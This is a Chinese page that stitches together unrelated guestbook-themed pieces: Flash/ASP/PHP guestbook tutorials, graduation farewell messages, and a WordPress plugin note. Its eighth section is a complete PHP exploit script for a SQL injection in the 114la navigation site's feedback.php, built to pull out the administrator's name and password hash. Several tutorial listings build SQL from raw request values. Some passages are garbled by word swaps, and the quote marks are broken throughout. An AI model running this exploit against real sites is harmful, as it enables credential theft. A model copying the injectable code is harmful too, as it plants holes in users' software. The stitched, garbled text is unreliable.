FLASHFlash+php+mysql简单留言本制作((推荐11篇))由网友“purplegrape”投稿提供,下面是小编为大家准备的FLASHFlash+php+mysql简单留言本制作,欢迎阅读借鉴。
篇1:FLASHFlash+php+mysql简单留言本制作
本文留言本并不是什么完美版本,如果你只想拿来使用不建议用此源文件,但是如果你想学习flash留言本的制作原理,可能此文对你有极大的帮助!
其他flash留言本原文件可以去此处下载
flash+php+mysql简单留言本教程
目的:
用flash+php+mysql制作一个简单的留言本。
配置环境:
最开始肯定是先配置相应的环境了。我下载的是配置环境套件包,傻瓜式的方法,简易安装,比较适合我。(包括:Apache、PHP、MySQL、Zend Optimizer、phpMyAdmin、 eAccelerator )
文件夹介绍如下(Init.cmd安装;PnCp.cmd控制面板。):
Apache文件夹:PHP服务器(类似IIS)。
MySQL-5.0.15b文件夹:MySQl数据库服务器。
data文件夹:存放的是网站数据库。(留言本的数据库存放于此,后台)
bin 文件夹:里面的文件用来操作数据库(DOS方式)
php-5.2.6-Win32文件夹:PHP的函数库,用Apache来解释。
ZendOptimizer文件夹:加速PHP的执行。
htdoc(或www):存放网页文件。(留言本的网页文件放于此,前台)
phpMyAdmin文件夹:操作数据库(Windows方式)
注:
1、安装时会提示你输入MySQl数据库密码,这里密码以“sun”为例。(用户名为“root”)
2、浏览器中输入“127.0.0.1”后显示配置相关信息,可以输入MySQl密码进行连接测试。
3、网站目录索引默认是关闭的,用控制台将其开启,便于后期对网站(留言板)的测试。
知识准备(思路):
1、先介绍如何用PHP连上数据库(数据库用户名“root”,密码“sun”,有库“myguestbook”)
2、PHP和MySQl通信(SQL语句:INSERT存,SELECT取):
PHP←MySQl:SELECT * FROM myguestbook;
PHP→MySQL:INSERT INTO myguestbook(name,comment) VALUE (“张三”,“这是留言”);
3、SWF和PHP通信(LoadVars类的sendAndLoad方法存,解析XML的方式取):
SWF←PHP:PHP用echo写xml文件,SWF直接解析该文件。(我以前纳闷为什么蓝色的RSS是PHP格式的,学到这里才明白。)
SWF→PHP:swf用“sendAndLoad”(data_lv.uname=“张三”)发送变量,php用$name=$_POST[“uname”]接收变量。
注:
1、留言本其实就是这两个小的过程,PHP相当于一个桥梁。强烈建议将2和3都写出一个简单的例子,例子运行成功了,留言本没开始写就已经完成一大半了。
2、sendAndLoad既可以发送变量给php,也可以接收php的变量(类似于swf读取文本)。可以看火山的教程,很详细。
开始制作(做好上面的准备工作,下面的会很好理解):
1、SWF读取数据
①和②MySQl→PHP→SWF
PHP用“SELECT”从MySQl那里取,再写成xml给SWF读。
篇2:flash+asp+xml留言本教程
asp+|xml|教程
演示地址
源文件下载
在下载到本地或者上传到空间上之前,请到后台修改参数设置里面的地址,然后进行测试!
如果你的机器或者服务器不支持FSO,请手动修改URL.XML文件里面的地址!
ASP主要部分:
page.asp (传给flash第n页的n条纪录)
<%@LANGUAGE=“VBSCRIPT” CODEPAGE=“65001”%>
<% show_page = 9 '每页显示的纪录
db = “data/data.mdb” '数据库存放目录
'-连接数据库
set conn=server.createobject(“adodb.connection”)
conn.open “driver={microsoft access driver (*.mdb)};dbq=”&server.mappath(db)
'-----------------------------------------------------------------------
'用途:将UTF-8编码汉字转为GB2312码,兼容英文和数字!
function encodestr(str)
dim i
str=trim(str)
str=replace(str,“'”,“”“”)
str=replace(str,vbCrLf&vbCrlf,“
”)
encodestr=replace(str,vbCrLf,“
”)
end function
'用途:将UTF-8编码汉字转为GB2312码,兼容英文和数字!
Function uni(Chinese)
For j = 1 to Len (Chinese)
a=Mid(Chinese, j, 1)
uni= uni & “&” & Hex(Ascw(a)) & “;”
next
End Function %>
<%
'如果FLASH传过来变量
if request(“action”)=“showpage” then
'打开纪录
sql=“select * from gbook order by id desc”
set rs=server.createobject(“adodb.recordset”)
rs.open sql,conn,1,1
'---------------分页 开始
if not rs.eof then
'如果有记录
rs.PageSize = show_page
total=rs.RecordCount '共多少条记录
maxpage=rs.PageCount '共分几页
page=request(“page”) '当前页
if Not IsNumeric(page) or page=“” then
page=1
else
page=cint(page)
end if
if page<1 then
page=1
elseif page>maxpage then
page=maxpage
end if
rs.AbsolutePage=Page
else
'如果没记录
total=0
maxpage=0
page=0
ut=“”
wujilu=“1”
'把wujilu变量传给flash,让flash知道没有记录然后做出相应的动作
'输出xml文件格式
Response.Write “
Response.Write ”
Session.CodePage=”936“
end if
'---------------分页 结束
'---------------打开 PageSize 条记录 开始
if not rs.eof then
'如果有记录
for i=1 to rs.PageSize
page_id=rs(”id“)
page_name=uni(rs(”name“))
if len(rs(”title“)) > 19 then '截取字符
page_title=left(rs(”title“),19)&”..“'截取字符
else
page_title=rs(”title“)
end if
page_title=uni(page_title)
page_date=rs(”date“)
ut=out&”
rs.movenext
if rs.EOF then
i=i+1
Exit For
end if
next
end if
'---------------打开 PageSize 条记录 结束
rs.close
set rs=nothing
conn.close
set conn=nothing'释放资源
'输出分页信息,xml格式
Response.Write ”
Response.Write “
Session.CodePage=“936”
end if
%>
show.asp(传给flash单条纪录的信息)
<%@LANGUAGE=“VBSCRIPT” CODEPAGE=“65001”%>
<%
show_page = 9 '每页显示的纪录
db = “data/data.mdb” '数据库存放目录
set conn=server.createobject(“adodb.connection”)
conn.open “driver={microsoft access driver (*.mdb)};dbq=”&server.mappath(db)
'-----------------------------------------------------------------------
'用途:将UTF-8编码汉字转为GB2312码,兼容英文和数字!
function encodestr(str)
dim i
str=trim(str)
str=replace(str,“'”,“”“”)
str=replace(str,vbCrLf&vbCrlf,“
”)
encodestr=replace(str,vbCrLf,“
”)
end function
Function uni(Chinese)
For j = 1 to Len (Chinese)
a=Mid(Chinese, j, 1)
uni= uni & “&” & Hex(Ascw(a)) & “;”
next
End Function
'------------------------------------------------------------
%>
<%
if request(“action”)=“show” then
'打开纪录为flash传过来的第show_id条信息
sql=“select * from gbook where id=”&request(“show_id”)
set rs=server.createobject(“adodb.recordset”)
rs.open sql,conn,1,1
'uni参数,就是把gb编码转换成utf-8编码,要不然flash会乱码
show_name=uni(rs(“name”))
show_id=uni(rs(“id”))
show_title=uni(rs(“title”))
if rs(“email”)“” then
show_email=uni(rs(“email”))
end if
if rs(“qq”)“” then
show_qq=uni(rs(“qq”))
end if
show_content=uni(rs(“content”))
show_date=uni(rs(“date”))
ut=out&“
rs.close
set rs=nothing
conn.close
set conn=nothing
'输出xml格式
Response.Write “
Response.Write ”
end if
%>
add.asp(flash传给asp增加纪录)
<%
show_page = 9 '每页显示的纪录
db = ”data/data.mdb“ '数据库存放目录
set conn=server.createobject(”adodb.connection“)
conn.open ”driver={microsoft access driver (*.mdb)};dbq=“&server.mappath(db)
'-----------------------------------------------------------------------
'用途:将UTF-8编码汉字转为GB2312码,兼容英文和数字!
function encodestr(str)
dim i
str=trim(str)
str=replace(str,”'“,”“”“)
str=replace(str,vbCrLf&vbCrlf,”
“)
encodestr=replace(str,vbCrLf,”
“)
end function
Function uni(Chinese)
For j = 1 to Len (Chinese)
a=Mid(Chinese, j, 1)
uni= uni & ”&“ & Hex(Ascw(a)) & ”;“
next
End Function
'------------------------------------------------------------
%>
<%
Session.CodePage=”65001“
if encodestr(request(”action“))=”add“ then'如果flash传过来的变量是add
if encodestr(request(”w_name“))=”“ then'如果w_name等于空
cuowu=”n“
response.write”&addok=“+cuowu '
elseif encodestr(request(”w_title“))=”“ then '如果标题空
cuowu=”t“
response.write”&addok=“+cuowu
elseif encodestr(request(”w_content“))=”“ then'如果留言内容空
cuowu=”c“
response.write”&addok=“+cuowu
end if
if cuowu=”“ then '如果姓名,标题,留言内容不为空
sql=”select * from gbook “
set rs=server.createobject(”adodb.recordset“)
rs.open sql,conn,3,3
rs.addnew '增加纪录
rs(”name“)=encodestr(request(”w_name“))
rs(”title“)=encodestr(request(”w_title“))
if encodestr(request(”w_email“))=”“ then
rs(”email“)=null
else
rs(”email“)=encodestr(request(”w_email“))
end if
if encodestr(request(”w_qq“))=”“ then
rs(”qq“)=null
else
rs(”qq“)=encodestr(request(”w_qq“))
end if
rs(”content“)=encodestr(request(”w_content“))
rs(”date“)=date
rs.update
rs.close
set rs=nothing
conn.close
set conn=nothing
response.write”&addok=ok“ '返回给flash 留言成功
end if
end if
Session.CodePage=”936“
%>
FLASH部分:
留言列表
function showPage()//定义函数
{
function titlemenu()
{
gbtitle.attachMovie(”title_mc“, ”title_mc“ + i, i);//循环增加MC
gbtitle[”title_mc“ + i]._y = 30 * i;//MC的位置
gbtitle[”title_mc“ + i].page_id = gb[i].attributes.page_id;//title_mc里面的动态文本显示asp传来的变量
page_id=gb[i].attributes.page_id;
gbtitle[”title_mc“ + i].page_title = gb[i].attributes.page_title;
gbtitle[”title_mc“ + i].page_date = gb[i].attributes.page_date;
gbtitle[”title_mc“ + i].page_name = gb[i].attributes.page_name;
i++;
if (i >= nTotal)//如果纪录大于每页显示的纪录
{
clearInterval(nInterval);
} // end if
} // End function
total= pageXML.firstChild.attributes.total;
maxpage = pageXML.firstChild.attributes.maxpage;
page = pageXML.firstChild.attributes.page;
tPage = ”第 “ + page + ” / “ + maxpage + ” 页 共 “ + total + ” 条留言“;
gb = pageXML.firstChild.childNodes;
nTotal = gb.length;//共几个节点-共几条记录
var nInterval = setInterval(titlemenu, 50);//延迟加载
this.createEmptyMovieClip(”gbtitle“, 1);//创建空的mc
gbtitle._x = 10;
gbtitle._y = 70;
var i = 0;
} // End function
stop();
pageXML = new XML();//创建对象
pageXML.ignoreWhite = true;//忽略空格
pageXML.load(gbookurl+”page.asp?action=showpage&page=“+page + ”&temp=“ + Math.random() * Number(getTimer()));
pageXML.onLoad = function (success)
{
if (success)//如果读取成功
{
showPage(1);
//如果加载成功
//xiaoxi = ”正在加载数据,请等待...“;
//_root.xiaoxikuang.gotoAndPlay(”wu“);
//_root.jindutiao.gotoAndPlay(”wu“);
//gotoAndPlay(76);
}
else
{
gotoAndPlay(”error“);
//如果加载失败
_root.xiaoxikuang.xiaoxi = ”无法连接到数据库,请检测网络连接“;
} // end if
};// end function
读取单条纪录
gbtitle.removeMovieClip();//卸载留言列表
_global.zhen=”read“;
function Page(index)
{
//把asp传来的变量传给动态文本
show_id = ”ID:“+read[index].attributes.show_id;
show_name = ”留言者:“+read[index].attributes.show_name;
show_title = ”标题:“+read[index].attributes.show_title;
show_qq = ”QQ:“+read[index].attributes.show_qq;
show_email = ”E-mail:“+read[index].attributes.show_email;
show_content = read[index].attributes.show_content;
show_date = ”发表时间:“+read[index].attributes.show_date;
} // End function
showXML = new XML();
showXML.ignoreWhite = true;
showXML.load(gbookurl+”show.asp?action=show&show_id=“ + go_id + ”&temp=“ + Math.random() * Number(getTimer()));
showXML.onLoad = function (success)
{
if (success)
{
//如果加载成功
_root.xiaoxikuang.xiaoxi = ”正在加载数据,请等待...“;
read = showXML.firstChild.childNodes;
Total = read.length;
Page(0);
gotoAndPlay(79);
}
else
{
gotoAndPlay(”error“);
//如果加载失败
_root.xiaoxikuang.xiaoxi = ”无法连接到数据库,请检测网络连接“;
} // end if
};// end function
写纪录
function sendData()
{
//把动态文本里的内容传给send_var
send_var.w_name = _root.w_name;
send_var.w_qq = _root.w_qq;
send_var.w_email = _root.w_email;
send_var.w_title = _root.w_title;
send_var.w_content = _root.w_content;
send_var.sendAndLoad(gbookurl+”add.asp?action=add“, load_var, ”post“);
} // End of the function
send_var = new LoadVars();
load_var = new LoadVars();
fabiao.onRelease = sendData;
load_var.onLoad = function ()
{
if (this.addok==”ok“)
{
_root.xiaoxikuang.xiaoxi = ”留言成功!“;
gotoAndPlay(”wok“);
}
if (this.addok==”n“)
{
_root.xiaoxikuang.xiaoxi = ”姓名不能为空!“;
gotoAndPlay(”werror“);
}
if (this.addok==”t“)
{
_root.xiaoxikuang.xiaoxi = ”标题不能为空!“;
gotoAndPlay(”werror“);
}
if (this.addok==”c“)
{
_root.xiaoxikuang.xiaoxi = ”留言内容不能为空!“;
gotoAndPlay(”werror“);
}
};//end load_var fun
chongzhi.onRelease = function() //重置按钮
{
_root.w_name = ”“;
_root.w_qq = ”“;
_root.w_email = ”“;
_root.w_title = ”“;
_root.w_content = ”“;
}
stop();
主要用到的代码就这些,还可以把后台管理功能加在flash里面,但是因为我正在工作,没有时间,所以就做了一个简单的留言本!
篇3:初中毕业留言本
初中毕业留言本
下面是一份毕业留言,请看应届毕业生网
看着那本初中毕业留言本的`时候,看着你清秀的字眼,看着你骂着臭小子,其实真的,心里特别高兴的,
相见不如怀念,时间也许到最后都会把彼此都忘掉,但是,还是希望你可以过得好,如果可以,当你不开心的时候,我可以当你闷气筒,可以逗你开心,还是和从前一样,当你快乐的时候,可以跟你一起分享,还希望听到你大大咧咧的说:“臭小子,你欠扁啊,
”“臭小子,加油!”
篇4:写同学录留言,同学录留言本
写同学录留言,同学录留言本
愿我们的友情,像春天一样美丽,像夏日一样火热,像秋天一样爽朗,像冬季一样洁白,如四季一般纯真、长久!
想要记录每一次感动,想要写下每一次想念的心情,于是,在夜阑人静的案头前,写着我们的故事,写着我们最美丽的足迹。
友谊是一首无字的歌,正在你淡淡的.季节里开一树俏丽的花,正在深深浅浅的脚印里,为你不退的步伐奏一曲动人的华尔兹。年年纪岁,岁岁年年。
山海可以阻隔相互,却阻隔不了我的思念,距离可以拉开你我,却拉不开热情的友情,时间可以淡忘从前,却忘不了永世的敌人。
所谓好敌人就像咱们一样,可以畅谈心中的觉得,相互干切,相互照料,时而哈哈大笑,时而争得面红赤,却不会放正在心上。
正在成长的岁月中,曾经陪你笑陪你愁的敌人,是一辈子都不会忘却的,愿相互都能糟践这份友谊,做个永世的敌人。
六个希望的春天,我们播种了四次;四个金黄的秋天,我们收获了四遍;我们曾经受了四个火夏的磨砺和四个严冬的考验,请别忘记这有滋有味、有声有色的时光。
与你相识,我感到无比幸运,而能与你相知,我倍感生命的充实,以前嬉笑相伴的日子我将深藏,以后不可测的日子,愿你多保重。
尽情地饮干这杯毕业之酒吧!它是生活的甘露!它将给未来注进胜利,它将长留在我们的唇间舌上,留下无尽的回味……
光阴似箭,一转眼,6年的同窗生涯已成为过去。但教室里,还回响着我们朗朗的读书声;操场上,还留着我们奔跑矫健的身影。这里的草坪、小溪、竹亭,是我们永远依恋的百草园。
篇5:学习做FLASH留言本:分页技术
分页
这次是做留言板分页 AS+ASP+ACCESS,传递一个id,一个标题title,作者author三种数据,那么就定义一个allId,AllTitle,allAuthor, 然后循环读取数据库把所有数据id的累加在allId里,所有的标题累加在AllTitle里,所有的标题累加在allAuthor里最后把allId,AllTitle,allAuthor传给flash(累加的时候记得加分割符,例如“#,那么allId=”i#2#3#........“等等,分割要注意一点)接下来的是flash部分了,学习做FLASH留言本:分页技术
。在这里我是用LoadVar类来接受数据的。定义一个函数
//这个函数接受三个参数,allId,AllTitle,allAuthor
function showTitle(allId:StringallTitle:String, allUser:String, allAuthor:String)
{
//定义三个数组
var ids:Array = new Array;
var titles:Array = new Array();
var author:Array = new Array();
//根据分割符,把分割出来的数据放在数组里
ids = allId.split(”#“);
titles = allTitle.split(”#“);
author= allUser.split(”#“);
//这里是程序的主要部分,请大家注意看了,用一个for循环
//先是复制出一个影片,然后把数据加进mc里面的变量
for(var i = 0; i < ids.length; i++)
{
//复制mc
var mc:MovieClip = this.attachMovie(”titles“,”titles“ + i,10 * i + 100);
mc._x = 40;
mc._y = 220 + i * 35;
//把相关的信息赋给mc的相应变量
mc.titleVar = titles[i];
mc.authorVar = users[i];
//点击标题时,进入内容
buttonEvent(mc, ids[i],);
}
}
//定义按钮事件
function buttonEvent(btn:MovieClip, id:String)
{
btn.menuBtn.onPress = function()
{
loadMovieNum(”content.swf?&titleId=“ + id ,0);
}
}
//这是显示分页按钮的函数,这个没什么难点,主要是判断的问题
//page,当前页数-- pageCount,总页数 ---count,当强显示条,pager一页显示多少条
function showPage(id:String,count:String,page:String,pageCount:String,pager:Number)
{
//复制出一个MC出来,里面包含上一页,下一页,第一页,最后一页,返回首页这些按钮
if(page != ”1“ || count * 1 == pager)
{
this.attachMovie(”pageMC“,”pageMC“,50);
pageMC._x = 200;
pageMC._y = 465;
}
//第一页
pageMC.oneBtn.onPress = function()
{
//如果是第一页,弹出警告框
if(count * 1 == pager)
{
showAlert(”当前页已经是第一页了“);
}
else
{
loadMovieNum(”title.swf?&&id=“ + id,0);
}
}
//上一页
pageMC.upBtn.onPress = function()
{
//如果是第一页时
if(page == ”1“ && count == pager)
{
showAlert(”没有上一页了“);
}
else
{
var pageNo:Number = page * 1 - 1;
loadMovieNum(”title.swf?&id=“ + id + ”&pageNo=“ + pageNo,0);
}
}
//下一页
pageMC.nextBtn.onPress = function()
{
//当在最后一页时
if(page == pageCount)
{
showAlert(”没有下一页了“);
}
else
{
var pageNo:Number = page * 1 + 1;
loadMovieNum(”title.swf?&id=“ + id + ”&pageNo=“ + pageNo,0);
}
}
//最后一页
pageMC.lastBtn.onPress = function()
{
if(page == pageCount)
{
showAlert(”当前页已经是最后一页了“);
}
else
{
loadMovieNum(”title.swf?&id=“ + id + ”&pageNo=“ + pageCount,0);
}
}
//首页
pageMC.indexBtn.onPress = function()
{
loadMovieNum(”index.swf“,0);
}
}
//弹出警告框函数,即Alert组件
function showAlert(str:String)
{
Alert.yesLabel = ”确定“;
Alert.noLabel = ”取消“;
Alert.show(str, ”提示“, Alert.YES|Alert.NO);
}
这里是最后一步了,用来加载可以输出allId,AllTitle,allAuthor的后台程序文件stop();
System.useCodepage = true; //显示中文
var pageNo:String; //第几页
var sendVar:LoadVars = new LoadVars();
var loadVar:LoadVars = new LoadVars();
//如果pageNo为空时,把pageNo始终设为第一页
if(pageNo == null)
{
pageNo = ”1“;
}
//把页数传递出去,好让后台程序搜索
sendVar.pageNo = pageNo;
sendVar.sendAndLoad(”文件名“,loadVar,”post“);
loadVar.onLoad = function(success:Boolean)
{
if(success)
{
page = loadVar.page; //当前页数
count = loadVar.count; //当前条数,其实这个可以不要,判断改一下就可以
pageCount = loadVar.pageCount; //总页数
showPage(id,count,page,pageCount,10);
showTitle(loadVar.allId,loadVar.allTitle,loadVar.allAuthor);
}
else
{
_root.gotoAndStop(”error“);
}
}
篇6:WordPress插件:Wmd-Editor 增强型留言本编辑器
WordPress 默认的留言本编辑器其实是允许留言者使用 Html 代码的,可能只是一些初级用户不知道而已,但是即便是这样对于老鸟来说使用起来也是很麻烦滴,毕竟, 这样的 Html 代码还是不如可视化的编辑器好用一些,
为了解决这个弊端,给大家介绍一款 WordPress 留言编辑器插件。此插件是我在岁月如歌上偶然看到滴,作者使用 WMD 编辑器替换了 WordPress 默认的留言编辑器,并写了这款留言编辑器插件:Wmd-Editor ,
关于 WMD ,此物是一款简单小巧、轻量级的编辑器,具体的介绍不多说了,感兴趣的可以去官方主页好生参研。关于插件的使用,两句话:上传解压、激活可用。
有一件事需要提醒,就是启用这款富文本留言编辑器可能会导致大量富含链接的无效垃圾留言,请慎用。
发布地址 | 插件下载
本文来自:www.sanliangfan.com/archives/1056.html
篇7:教程连载1:PHPChina留言本实例
在第一期中,我们来一步一步实现一个最基本的留言本,以后每一期都会在PHP专区及phpchina论坛贴出来,以便大家学习交流。
留言信息包括留言者,留言内容,留言时间,留言者IP。(本文假设你已对HTML以及PHP语法比较熟练了)
第一步:设计数据库
新建一个数据库,打开phpMyAdmin,新建一个数据库gb,下面整理选择utf8_general_ci,然后在数据库中建一个表 message,字段数为5:
然后下面数据库类型选择MyISAM(各个类型的优缺点请查看MYSQL手册),整理选择utf8_general_ci(MYSQL 版本在4.1以下则不用选择,没有编码问题)。
每个字段的含义:
id -- 留言的编号,类型为整数型,长度是10,属性选择为unsigned是表明这个字段是无符号字段,不会有负数,所以可以存取的范围会增加一倍(因为如果原来的范围是 -9 到 10,那么设置为unsigned后范围则变为0到19),额外设置为auto_increment,表明这个字段是自动增加的,我们不用管插入数据时它是啥值,它会自动在最大的id的基础上自动加1,其他设置为主键。
username -- 留言者的名字,类型为字符型(关于char与varchar的区别请查看MYSQL手册),长度为100(正常人用户名不可能超过100吧,其实应该尽量减少长度,提高性能,节约空间)
content -- 即留言内容,类型为text(text和blob的唯一的区别在于text不区分大小写,而blob区分大小写),text类型可以存足够多的数据,足够存好几篇文章了,此类型不能设置长度,否则报错。
time -- 即发布留言的时间,类型为int,长度为10,保存的数据格式是UNIX时间戳(即用PHP函数time得到的10位数字),而不存xxxx-xx-xx这样的格式,为何这样后面或解释。
ip -- 即留言者的IP,格式为xxx.xxx.xxx.xxx,总共15个字符,所以长度设置为15。
点击阅读更多学院相关文章>>
分享到 第二步:设计界面
在这我们直接偷蓝色理想的BXNA的界面(blog.blueidea.com )
HTML和CSS的东西就不详细讲了,不然写10期也写不完这个留言本了(在code文件夹中有一个html文件,是单独分离出来的)
第三步:开始写程序咯
先要想好程序的整体构架,代码执行的流程等。
先说一下我们做的这个程序的整体运行流程:
程序是根据不同的URL参数(参数m和参数a)来调用不同的模块文件里的不同函数。比如URL是index.php?m=user&a=info,则程序会先包含mod_user.php,并调用里面的函数user_info();,这个函数会返回一段HTML(不会直接输出,因为我们要用到smarty,最后一次性输出)或跳到别的页面。所有的请求都是从index.php这个入口开始,mod文件不能被直接调用。
下面开始写程序入口部分:
首先建立一些引用的文件,放在includes文件夹下,比如一些常量config.inc.php,所有函数function.inc.php,后缀为PHP,这样通过浏览器直接访问这些文件将看到空白(没有输出)。
在config.inc.php中定义5个常量:
function.inc.php用来存放自定义函数。
点击阅读更多学院相关文章>>
分享到 在这一期中总共有3个自定义函数。具体代码请查看文件,有详细注释。
print_mysql_error 显示数据库错误信息,并终止脚本
get_client_ip 取得用户IP
show_result_page 显示结果页面,返回HTML
把smarty文件夹全拷过去。(在后面会讲到简单用法)
然后建立首页index.php文件,具体代码请看附件中的对应文件。
其中比较重要的一些地方。
$mod_list 是一个数组,包含合法的模块名(对应URL中的参数m),实现根据URL中不同参数调用对应的功能模块。在这一节中,我们只包含两个模块,即main和add,用来显示留言和添加留言。
根据不同的$_GET['m'],调用不同的mod文件。然后根据不同的$_GET['a'],调用不同的函数。
比如$_GET['m'] == 'main',$_GET['a'] == 'up',则包含文件mods/mod_main.php,并调用这个文件里的main_up()函数,来执行相应功能,比如显示留言。默认调用main_page()函数。
后面有个使用smarty来实现HTML和PHP的分离,这样有利于美工和程序员协同工作。如果你没有用过smarty或其他模板类也不用担心,我们会在后面介绍基本的用法。但如果你想学好它,建议去它的官方站看看,并下载一份手册。(smarty.php.net )
由于针对初学者,在这我们就不使用MYSQL的类了,而直接使用PHP中自带的函数。
如果你现在直接访问index.php,他会提示mod_main.php文件不存在。(因为默认是调用这个文件)
点击阅读更多学院相关文章>>
分享到 下面开始写模块部分
建立一个文件夹名为mods,用来存放所有模块文件。
建立我们需要的mod_main.php文件。具体代码:
mod_main.php的主要流程:
if(!defined('IN')) die('Access denied');
这个用来确认该文件是否是被index.php文件包含(因为index.php包含了config.inc.php,而config.inc.php里定义了常量IN),如果IN常量没被定义,证明不是被index.php包含的,则结束脚本,并输出Access denied。这是一个常用的防止一个文件被直接调用的方法,
点击阅读更多学院相关文章>>
分享到 先执行查询SELECT * FROM `message` ORDER BY `id` DESC
意思即查找message表中所有数据的所有字段,并按id字段倒序排列。
然后判断mysql_errno()是否为0,不为0则证明有错误,则用print_mysql_error()函数输出错误信息,并结束整个代码。
如果没有错误,则用while循环取得信息(一条留言循环一次)。在循环中,先定义一个空数组 $message_array = array();,然后每循环一次,往这个数组中插入另一个数组,组成一个二维数组。存的都是留言信息。
循环完后$smarty->assign('message' , $message_array); 即把$message_array变量赋予smarty中的message,用来做模板里的替换(即把模板里的$message部分替换为$message_array变量的值)。
最后return $smarty->fetch('message.tpl'); 即取得message.tpl模板的信息,替换模板变量后并返回。
打开template/bxna/message.tpl 文件可以发现
这样一段代码,它的意思即循环输出,$message不是一个数组么,即循环输出这个数组。
其中[##$message[k].username##]这个意思是指这里要替换的内容是 $message变量中的username,即用户名。其它几个变量也一个道理。
循环的具体用法请参考smarty手册。
最后fetch(即取回嘛)整个HTML(已经把所有模板变量替换完成),返回给index.php里的$main_body。
点击阅读更多学院相关文章>>
分享到 到这不知道大家是否了解smarty的工作流程了呢?
1.初始化smarty
2.用$smarty->assign设置要替换的变量,第一个参数是模板要被替换的部分。
3.用$smarty->fetch取回替换完后的模板(HTML),或用display直接输出。
在模板中smarty有几个基本语法,其实和php中差不多(边界符可以在初化时定义):
1.[##if $var##]show something[##else##]show other thing[##/if##]
2.上面提到的循环结构 section (你也可以用foreach,请查看smarty手册)
3.[##$var##] 直接输出变量
大部分时候就用到这几种结构就行了,还有一些比较高级的,比如可以在模板里截取字符串,格式化时间等等,都可以在手册中查看,都有比较详细的例子。
然后在index.php里$smarty->assign('main_body' , $main_body); 替换模板变量并输出$smarty->display('index.tpl');
Smarty中display和fetch的唯一区别就是 display 等于 echo fetch,即fetch完后再输出。
现在用phpMyAdmin往数据库里手工插入几条数据,然后刷新首页,即可看到效果了
这时你可以点击导航上面的Add链接,你会发现URL变了,但还是显示首页,为什么呢?看看URL可以发先此时参数m为add,a为空,所以程序会试图包含mod_add.php文件,但现在此文件还不存在(我们还没做到这步哈),所以程序会转为包含mod_main.php文件,并调用其中的main_page()函数,即和首页调用的同一个函数,显示同样的东西。
现在我们来做一个添加留言的模块add:
在mods文件夹下建立模块文件mod_add.php。具体代码:
点击阅读更多学院相关文章>>
分享到 此函数的代码相当简单,就两行:
global $smarty;
return $smarty->fetch('add_form.tpl');
相信大家都能看懂了,其实就是直接取add_form.tpl文件,不经过任何模板变量替换直接返回给index.php里的$main_body,然后输出。(一个表单,也没要替换的变量的)
显示出表单,我们得想办法往数据库里插入用户提交的留言信息了:
增加一个函数add_doadd(),用来处理用户的提交信息。具体代码:
点击阅读更多学院相关文章>>
分享到 排版比较乱,具体请查看文件里的代码。
流程是先获得提交的信息,取得当前UNIX时间戳(10位数字),以及用户IP,然后插入数据库,并判断插入操作是否成功,真则返回成功信息,假则返回错误信息,并让用户返回
点击阅读更多学院相关文章>>
分享到 然后我们打开mod/mod_main.php,用此函数过滤一下留言内容$content:
找到
在他上面一行加入:
找到
把它替换为
即用ubb 函数过滤一下数据库种取出来的留言内容 content
OK,你再提交留言然后回首页刷新一下就可以看见效果了
这就是第一节的内容了。我们很容易发现这个留言本存在很多的BUG,比如提交的js代码会直接执行,不能分页,没有现在很普遍的UBB功能等等。
在下一期中我们会一步一步把它完善滴
上一页 12345678 9
点击阅读更多学院相关文章>>
分享到
篇8:114啦网址导航留言本注入漏洞漏洞预警
雨林木风的114啦网址导航程序留言文件存在注入漏洞,漏洞文件feedback/feedback.php
攻击者利用EXP 可以得到管理员帐号和MD5密码。
版本:<=1.5
EXP如下:
$sbcopyright='
----------------------------------------
114la feedback injection Vul Exploit
Team:www.hackqing.com
.04.02
Usage: php '.$argv[0].' host /path
Example: php '.$argv[0].' 127.0.0.1 /
----------------------------------------
';
if ($argc < 3) {
print_r($sbcopyright);
die();
}
ob_start();
$url = $argv[1];
$path= $argv[2];
$sock = fsockopen(”$url“, 80, $errno, $errstr, 30);
if (!$sock) die(”$errstr ($errno)n“);
$data = ”username=0kee%E7%B8%97'&email=,0,(select%201%20from%20(select%20count(*),concat((SELECT%20concat(name,0x5f,password)%20FROM%20ylmf_admin_user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a),2)#&content=~~~~~this is a test from 0kee security team~~~~~“;
fwrite($sock, ”POST $path/feedback/feedback.php HTTP/1.1rn“);
fwrite($sock, ”Accept: */*rn“);
fwrite($sock, ”Referer:$url/#Mrn“);
fwrite($sock, ”Accept-Language: zh-cnrn“);
fwrite($sock, ”Content-Type: application/x-www-form-urlencodedrn“);
fwrite($sock, ”Accept-Encoding: gzip, deflatern“);
fwrite($sock, ”User-Agent: Mozillarn“);
fwrite($sock, ”Host: $urlrn“);
fwrite($sock, ”Content-Length: “.strlen($data).”rn“);
fwrite($sock, ”Connection: Keep-Alivern“);
fwrite($sock, ”Cache-Control: no-cachern“);
fwrite($sock, ”Cookie:ASPSESSIONIDASDRRBRA=MFILAMMAENMDGAPJLLKPEAONrnrn“);
fwrite($sock, $data);
$headers = ”“;
while ($str = trim(fgets($sock, 4096)))
$headers .= ”$strn“;
echo ”n“;
$body = ”“;
while (!feof($sock))
$body .= fgets($sock, 4096);
fclose($sock);
if (strpos($body, 'Duplicate entry') !== false) {
preg_match('/Duplicate entry '(.*)1'/', $body, $arr);
$result=explode(”_“,$arr[1]);
print_r(”Exploit Success! nusername:“.$result[0].”npassword:“.$result[1].”nGood Luck!“);
}else{
print_r(”Exploit Failed! n“);
}
ob_end_flush();
?>
By xZL
篇9:挑战最棒的留言本的源码(二)
post.php 文件
require('config.php');
?>
$nikename=$arr_request['nikename'];
if (strlen($nikename)==0)
{
echo ”“;
echo ”
错误信息!
“;
echo ”对不起,呢称必须填写!!! 请重填!
“;
echo ”
“;echo ”免费留言本由小熊提供技术支持“;
echo ”“;
exit ;
}
$date_now=date('Y/m/d H:i:s');
$ip_address=getenv(”REMOTE_ADDR“);
$messageold=$arr_request['message'];
//$pattern=”/n/“;
//$replacement=”
“;
$message=computer_message($messageold,$hang_zifu_number);
$subjectold=$arr_request['subject'];
if (strlen($subjectold)>$hang_zifu_number)
$subject=computer_message($subjectold,$hang_zifu_number);
else
$subject=$subjectold;
$str_sql=” insert into $table_name
(nikename,subject,date_created,ip_address,message,email_address,zhuye_address,oicq)
values
( '$nikename',
'$subject',
'$date_now',
'$ip_address',
'$message',
'“.$arr_request['email_address'].”',
'“.$arr_request['zhuye_address'].”',
'“.$arr_request['oicq'].”'
)“;
$result=mysql_db_query($db_name,$str_sql,$id_link);
if (! $result){
affy_error_exit('SQL Insert Execution has failed.');
}
else
{
echo ”
echo “发表文章”;
echo “
echo “
echo “
”;
